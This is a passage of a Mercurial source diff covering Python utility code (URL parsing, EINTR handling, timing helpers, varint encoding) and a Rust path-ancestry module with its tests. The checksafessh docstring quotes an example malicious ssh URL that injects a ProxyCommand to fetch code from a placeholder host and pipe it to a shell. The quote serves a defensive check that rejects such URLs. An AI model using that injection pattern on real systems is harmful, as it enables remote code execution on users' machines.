     # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
     #
     # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
     # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
     # CPython 2, because CPython 2 maintains an internal readahead buffer for
     # fp.__iter__ but not other fp.read* methods.
     #
     # On modern systems like Linux, the "read" syscall cannot be interrupted
     # when reading "fast" files like on-disk files. So the EINTR issue only
     # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
     # files approximately as "fast" files and use the fast (unsafe) code path,
     # to minimize the performance impact.
     if sys.version_info >= (2, 7, 4):
         # fp.readline deals with EINTR correctly, use it as a workaround.
         def _safeiterfile(fp):
             return iter(fp.readline, b'')
 
     else:
         # fp.read* are broken too, manually deal with EINTR in a stupid way.
         # note: this may block longer than necessary because of bufsize.
         def _safeiterfile(fp, bufsize=4096):
             fd = fp.fileno()
             line = b''
             while True:
                 try:
                     buf = os.read(fd, bufsize)
                 except OSError as ex:
                     # os.read only raises EINTR before any data is read
                     if ex.errno == errno.EINTR:
                         continue
                     else:
                         raise
                 line += buf
                 if b'\n' in buf:
                     splitted = line.splitlines(True)
                     line = b''
                     for l in splitted:
                         if l[-1] == b'\n':
                             yield l
                         else:
                             line = l
                 if not buf:
                     break
             if line:
                 yield line
 
     def iterfile(fp):
         fastpath = True
         if type(fp) is file:
             fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
         if fastpath:
             return fp
         else:
             return _safeiterfile(fp)
 
 
 else:
     # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
     def iterfile(fp):
         return fp
 
 
 def iterlines(iterator):
     for chunk in iterator:
         for line in chunk.splitlines():
             yield line
 
 
 def expandpath(path):
     return os.path.expanduser(os.path.expandvars(path))
 
 
 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
     """Return the result of interpolating items in the mapping into string s.
 
     prefix is a single character string, or a two character string with
     a backslash as the first character if the prefix needs to be escaped in
     a regular expression.
 
     fn is an optional function that will be applied to the replacement text
     just before replacement.
 
     escape_prefix is an optional flag that allows using doubled prefix for
     its escaping.
     """
     fn = fn or (lambda s: s)
     patterns = b'|'.join(mapping.keys())
     if escape_prefix:
         patterns += b'|' + prefix
         if len(prefix) > 1:
             prefix_char = prefix[1:]
         else:
             prefix_char = prefix
         mapping[prefix_char] = prefix_char
     r = remod.compile(br'%s(%s)' % (prefix, patterns))
     return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
 
 
 def getport(port):
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(pycompat.sysstr(port))
     except socket.error:
         raise error.Abort(
             _(b"no port number associated with service '%s'") % port
         )
 
 
 class url(object):
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url(b'ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url(b'file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url(b'file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url(b'bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url(b'bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(br'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(br'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(br'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(br'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url(b'ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url(b'ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url(b'http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url(b'')
     <url path: ''>
     >>> url(b'#a')
     <url path: '', fragment: 'a'>
     >>> url(b'http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url(b'http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url(b'http:')
     <url scheme: 'http'>
     """
 
     _safechars = b"!~*'()+"
     _safepchars = b"/!~*'()+:\\"
     _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(self, path, parsequery=True, parsefragment=True):
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = b''
         self._origpath = path
 
         if parsefragment and b'#' in path:
             path, self.fragment = path.split(b'#', 1)
 
         # special case for Windows drive letters and UNC paths
         if hasdriveletter(path) or path.startswith(b'\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith(b'bundle:'):
             self.scheme = b'bundle'
             path = path[7:]
             if path.startswith(b'//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(b':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = b''
                 return
         else:
             if self._localpath:
                 self.path = path
                 return
 
             if parsequery and b'?' in path:
                 path, self.query = path.split(b'?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith(b'//'):
                 parts = path[2:].split(b'/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = b'/' + path
 
             if self.host and b'@' in self.host:
                 self.user, self.host = self.host.rsplit(b'@', 1)
                 if b':' in self.user:
                     self.user, self.passwd = self.user.split(b':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (
                 self.host
                 and b':' in self.host
                 and not (
                     self.host.startswith(b'[') and self.host.endswith(b']')
                 )
             ):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(b':', 1)
                 if not self.host:
                     self.host = None
 
             if (
                 self.host
                 and self.scheme == b'file'
                 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
             ):
                 raise error.Abort(
                     _(b'file:// URLs can only refer to localhost')
                 )
 
         self.path = path
 
         # leave the query string escaped
         for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     @encoding.strmethod
     def __repr__(self):
         attrs = []
         for a in (
             b'scheme',
             b'user',
             b'passwd',
             b'host',
             b'port',
             b'path',
             b'query',
             b'fragment',
         ):
             v = getattr(self, a)
             if v is not None:
                 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
         return b'<url %s>' % b', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> bytes(url(b'http://localhost:80//'))
         'http://localhost:80//'
         >>> bytes(url(b'http://localhost:80/'))
         'http://localhost:80/'
         >>> bytes(url(b'http://localhost:80'))
         'http://localhost:80/'
         >>> bytes(url(b'bundle:foo'))
         'bundle:foo'
         >>> bytes(url(b'bundle://../foo'))
         'bundle:../foo'
         >>> bytes(url(b'path'))
         'path'
         >>> bytes(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print(url(br'bundle:foo\bar'))
         bundle:foo\bar
         >>> print(url(br'file:///D:\data\hg'))
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == b'bundle':
                 s = b'bundle:' + s
             if self.fragment:
                 s += b'#' + self.fragment
             return s
 
         s = self.scheme + b':'
         if self.user or self.passwd or self.host:
             s += b'//'
         elif self.scheme and (
             not self.path
             or self.path.startswith(b'/')
             or hasdriveletter(self.path)
         ):
             s += b'//'
             if hasdriveletter(self.path):
                 s += b'/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += b'@'
         if self.host:
             if not (self.host.startswith(b'[') and self.host.endswith(b']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += b':' + urlreq.quote(self.port)
         if self.host:
             s += b'/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += b'?' + self.query
         if self.fragment is not None:
             s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host), self.user, self.passwd or b''))
 
     def isabs(self):
         if self.scheme and self.scheme != b'file':
             return True  # remote URL
         if hasdriveletter(self.path):
             return True  # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True  # Windows UNC path
         if self.path.startswith(b'/'):
             return True  # POSIX-style
         return False
 
     def localpath(self):
         if self.scheme == b'file' or self.scheme == b'bundle':
             path = self.path or b'/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + b'/' + self.path
             elif (
                 self.host is not None and self.path and not hasdriveletter(path)
             ):
                 path = b'/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (
             not self.scheme
             or self.scheme == b'file'
             or self.scheme == b'bundle'
         )
 
 
 def hasscheme(path):
     return bool(url(path).scheme)
 
 
 def hasdriveletter(path):
     return path and path[1:2] == b':' and path[0:1].isalpha()
 
 
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 
 def checksafessh(path):
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
     if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
         raise error.Abort(
             _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
         )
 
 
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
     if u.passwd:
         u.passwd = b'***'
     return bytes(u)
 
 
 def removeauth(u):
     '''remove all authentication information from a url string'''
     u = url(u)
     u.user = u.passwd = None
     return bytes(u)
 
 
 timecount = unitcountfn(
     (1, 1e3, _(b'%.0f s')),
     (100, 1, _(b'%.1f s')),
     (10, 1, _(b'%.2f s')),
     (1, 1, _(b'%.3f s')),
     (100, 0.001, _(b'%.1f ms')),
     (10, 0.001, _(b'%.2f ms')),
     (1, 0.001, _(b'%.3f ms')),
     (100, 0.000001, _(b'%.1f us')),
     (10, 0.000001, _(b'%.2f us')),
     (1, 0.000001, _(b'%.3f us')),
     (100, 0.000000001, _(b'%.1f ns')),
     (10, 0.000000001, _(b'%.2f ns')),
     (1, 0.000000001, _(b'%.3f ns')),
 )
 
 
 @attr.s
 class timedcmstats(object):
     """Stats information produced by the timedcm context manager on entering."""
 
     # the starting value of the timer as a float (meaning and resulution is
     # platform dependent, see util.timer)
     start = attr.ib(default=attr.Factory(lambda: timer()))
     # the number of seconds as a floating point value; starts at 0, updated when
     # the context is exited.
     elapsed = attr.ib(default=0)
     # the number of nested timedcm context managers.
     level = attr.ib(default=1)
 
     def __bytes__(self):
         return timecount(self.elapsed) if self.elapsed else b'<unknown>'
 
     __str__ = encoding.strmethod(__bytes__)
 
 
 @contextlib.contextmanager
 def timedcm(whencefmt, *whenceargs):
     """A context manager that produces timing information for a given context.
 
     On entering a timedcmstats instance is produced.
 
     This context manager is reentrant.
 
     """
     # track nested context managers
     timedcm._nested += 1
     timing_stats = timedcmstats(level=timedcm._nested)
     try:
         with tracing.log(whencefmt, *whenceargs):
             yield timing_stats
     finally:
         timing_stats.elapsed = timer() - timing_stats.start
         timedcm._nested -= 1
 
 
 timedcm._nested = 0
 
 
 def timed(func):
     '''Report the execution time of a function call to stderr.
 
     During development, use as a decorator when you need to measure
     the cost of a function, e.g. as follows:
 
     @util.timed
     def foo(a, b, c):
         pass
     '''
 
     def wrapper(*args, **kwargs):
         with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
             result = func(*args, **kwargs)
         stderr = procutil.stderr
         stderr.write(
             b'%s%s: %s\n'
             % (
                 b' ' * time_stats.level * 2,
                 pycompat.bytestr(func.__name__),
                 time_stats,
             )
         )
         return result
 
     return wrapper
 
 
 _sizeunits = (
     (b'm', 2 ** 20),
     (b'k', 2 ** 10),
     (b'g', 2 ** 30),
     (b'kb', 2 ** 10),
     (b'mb', 2 ** 20),
     (b'gb', 2 ** 30),
     (b'b', 1),
 )
 
 
 def sizetoint(s):
     '''Convert a space specifier to a byte count.
 
     >>> sizetoint(b'30')
     30
     >>> sizetoint(b'2.2kb')
     2252
     >>> sizetoint(b'6M')
     6291456
     '''
     t = s.strip().lower()
     try:
         for k, u in _sizeunits:
             if t.endswith(k):
                 return int(float(t[: -len(k)]) * u)
         return int(t)
     except ValueError:
         raise error.ParseError(_(b"couldn't parse size: %s") % s)
 
 
 class hooks(object):
     '''A collection of hook functions that can be used to extend a
     function's behavior. Hooks are called in lexicographic order,
     based on the names of their sources.'''
 
     def __init__(self):
         self._hooks = []
 
     def add(self, source, hook):
         self._hooks.append((source, hook))
 
     def __call__(self, *args):
         self._hooks.sort(key=lambda x: x[0])
         results = []
         for source, hook in self._hooks:
             results.append(hook(*args))
         return results
 
 
 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
     '''Yields lines for a nicely formatted stacktrace.
     Skips the 'skip' last entries, then return the last 'depth' entries.
     Each file+linenumber is formatted according to fileline.
     Each line is formatted according to line.
     If line is None, it yields:
       length of longest filepath+line number,
       filepath+linenumber,
       function
 
     Not be used in production code but very convenient while developing.
     '''
     entries = [
         (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
         for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
     ][-depth:]
     if entries:
         fnmax = max(len(entry[0]) for entry in entries)
         for fnln, func in entries:
             if line is None:
                 yield (fnmax, fnln, func)
             else:
                 yield line % (fnmax, fnln, func)
 
 
 def debugstacktrace(
     msg=b'stacktrace',
     skip=0,
     f=procutil.stderr,
     otherf=procutil.stdout,
     depth=0,
 ):
     '''Writes a message to f (stderr) with a nicely formatted stacktrace.
     Skips the 'skip' entries closest to the call, then show 'depth' entries.
     By default it will flush stdout first.
     It can be used everywhere and intentionally does not require an ui object.
     Not be used in production code but very convenient while developing.
     '''
     if otherf:
         otherf.flush()
     f.write(b'%s at:\n' % msg.rstrip())
     for line in getstackframes(skip + 1, depth=depth):
         f.write(line)
     f.flush()
 
 
-def finddirs(path):
-    pos = path.rfind(b'/')
-    while pos != -1:
-        yield path[:pos]
-        pos = path.rfind(b'/', 0, pos)
-    yield b''
-
-
 # convenient shortcut
 dst = debugstacktrace
 
 
 def safename(f, tag, ctx, others=None):
     """
     Generate a name that it is safe to rename f to in the given context.
 
     f:      filename to rename
     tag:    a string tag that will be included in the new name
     ctx:    a context, in which the new name must not exist
     others: a set of other filenames that the new name must not be in
 
     Returns a file name of the form oldname~tag[~number] which does not exist
     in the provided context and is not in the set of other names.
     """
     if others is None:
         others = set()
 
     fn = b'%s~%s' % (f, tag)
     if fn not in ctx and fn not in others:
         return fn
     for n in itertools.count(1):
         fn = b'%s~%s~%s' % (f, tag, n)
         if fn not in ctx and fn not in others:
             return fn
 
 
 def readexactly(stream, n):
     '''read n bytes from stream.read and abort if less was available'''
     s = stream.read(n)
     if len(s) < n:
         raise error.Abort(
             _(b"stream ended unexpectedly (got %d bytes, expected %d)")
             % (len(s), n)
         )
     return s
 
 
 def uvarintencode(value):
     """Encode an unsigned integer value to a varint.
 
     A varint is a variable length integer of 1 or more bytes. Each byte
     except the last has the most significant bit set. The lower 7 bits of
     each byte store the 2's complement representation, least significant group
     first.
 
     >>> uvarintencode(0)
     '\\x00'
     >>> uvarintencode(1)
     '\\x01'
     >>> uvarintencode(127)
     '\\x7f'
     >>> uvarintencode(1337)
     '\\xb9\\n'
     >>> uvarintencode(65536)
     '\\x80\\x80\\x04'
     >>> uvarintencode(-1)
     Traceback (most recent call last):
         ...
     ProgrammingError: negative value for uvarint: -1
     """
     if value < 0:
         raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
     bits = value & 0x7F
     value >>= 7
     bytes = []
     while value:
         bytes.append(pycompat.bytechr(0x80 | bits))
         bits = value & 0x7F
         value >>= 7
     bytes.append(pycompat.bytechr(bits))
 
     return b''.join(bytes)
 
 
 def uvarintdecodestream(fh):
     """Decode an unsigned variable length integer from a stream.
 
     The passed argument is anything that has a ``.read(N)`` method.
 
     >>> try:
     ...     from StringIO import StringIO as BytesIO
     ... except ImportError:
     ...     from io import BytesIO
     >>> uvarintdecodestream(BytesIO(b'\\x00'))
     0
     >>> uvarintdecodestream(BytesIO(b'\\x01'))
     1
     >>> uvarintdecodestream(BytesIO(b'\\x7f'))
     127
     >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
     1337
     >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
     65536
     >>> uvarintdecodestream(BytesIO(b'\\x80'))
     Traceback (most recent call last):
         ...
     Abort: stream ended unexpectedly (got 0 bytes, expected 1)
     """
     result = 0
     shift = 0
     while True:
         byte = ord(readexactly(fh, 1))
         result |= (byte & 0x7F) << shift
         if not (byte & 0x80):
             return result
         shift += 7

rust/hg-core/src/utils/files.rs

@@ -1,128 +1,128 b''
 // files.rs
 //
 // Copyright 2019
 // Raphaël Gomès <[e-mail]>,
 // Yuya Nishihara <[e-mail]>
 //
 // This software may be used and distributed according to the terms of the
 // GNU General Public License version 2 or any later version.
 
 //! Functions for fiddling with files.
 
 use crate::utils::hg_path::{HgPath, HgPathBuf};
 use std::iter::FusedIterator;
 
 use std::fs::Metadata;
 use std::path::Path;
 
 pub fn get_path_from_bytes(bytes: &[u8]) -> &Path {
     let os_str;
     #[cfg(unix)]
     {
         use std::os::unix::ffi::OsStrExt;
         os_str = std::ffi::OsStr::from_bytes(bytes);
     }
     // TODO Handle other platforms
     // TODO: convert from WTF8 to Windows MBCS (ANSI encoding).
     // Perhaps, the return type would have to be Result<PathBuf>.
 
     Path::new(os_str)
 }
 
 /// An iterator over repository path yielding itself and its ancestors.
 #[derive(Copy, Clone, Debug)]
 pub struct Ancestors<'a> {
     next: Option<&'a HgPath>,
 }
 
 impl<'a> Iterator for Ancestors<'a> {
     type Item = &'a HgPath;
 
     fn next(&mut self) -> Option<Self::Item> {
         let next = self.next;
         self.next = match self.next {
             Some(s) if s.is_empty() => None,
             Some(s) => {
                 let p = s.bytes().rposition(|c| *c == b'/').unwrap_or(0);
                 Some(HgPath::new(&s.as_bytes()[..p]))
             }
             None => None,
         };
         next
     }
 }
 
 impl<'a> FusedIterator for Ancestors<'a> {}
 
 /// Returns an iterator yielding ancestor directories of the given repository
 /// path.
 ///
 /// The path is separated by '/', and must not start with '/'.
 ///
 /// The path itself isn't included unless it is b"" (meaning the root
 /// directory.)
 pub fn find_dirs<'a>(path: &'a HgPath) -> Ancestors<'a> {
     let mut dirs = Ancestors { next: Some(path) };
     if !path.is_empty() {
         dirs.next(); // skip itself
     }
     dirs
 }
 
 /// TODO more than ASCII?
 pub fn normalize_case(path: &HgPath) -> HgPathBuf {
     #[cfg(windows)] // NTFS compares via upper()
     return path.to_ascii_uppercase();
     #[cfg(unix)]
     path.to_ascii_lowercase()
 }
 
 #[derive(Eq, PartialEq, Ord, PartialOrd, Copy, Clone)]
 pub struct HgMetadata {
     pub st_dev: u64,
     pub st_mode: u32,
     pub st_nlink: u64,
     pub st_size: u64,
     pub st_mtime: i64,
     pub st_ctime: i64,
 }
 
 // TODO support other plaforms
 #[cfg(unix)]
 impl HgMetadata {
     pub fn from_metadata(metadata: Metadata) -> Self {
         use std::os::unix::fs::MetadataExt;
         Self {
             st_dev: metadata.dev(),
             st_mode: metadata.mode(),
             st_nlink: metadata.nlink(),
             st_size: metadata.size(),
             st_mtime: metadata.mtime(),
             st_ctime: metadata.ctime(),
         }
     }
 }
 
 #[cfg(test)]
 mod tests {
     use super::*;
 
     #[test]
     fn find_dirs_some() {
         let mut dirs = super::find_dirs(HgPath::new(b"foo/bar/baz"));
         assert_eq!(dirs.next(), Some(HgPath::new(b"foo/bar")));
         assert_eq!(dirs.next(), Some(HgPath::new(b"foo")));
         assert_eq!(dirs.next(), Some(HgPath::new(b"")));
         assert_eq!(dirs.next(), None);
         assert_eq!(dirs.next(), None);
     }
 
     #[test]
     fn find_dirs_empty() {
-        // looks weird, but mercurial.util.finddirs(b"") yields b""
+        // looks weird, but mercurial.pathutil.finddirs(b"") yields b""
         let mut dirs = super::find_dirs(HgPath::new(b""));
         assert_eq!(dirs.next(), Some(HgPath::new(b"")));
         assert_eq!(dirs.next(), None);
         assert_eq!(dirs.next(), None);
     }
 }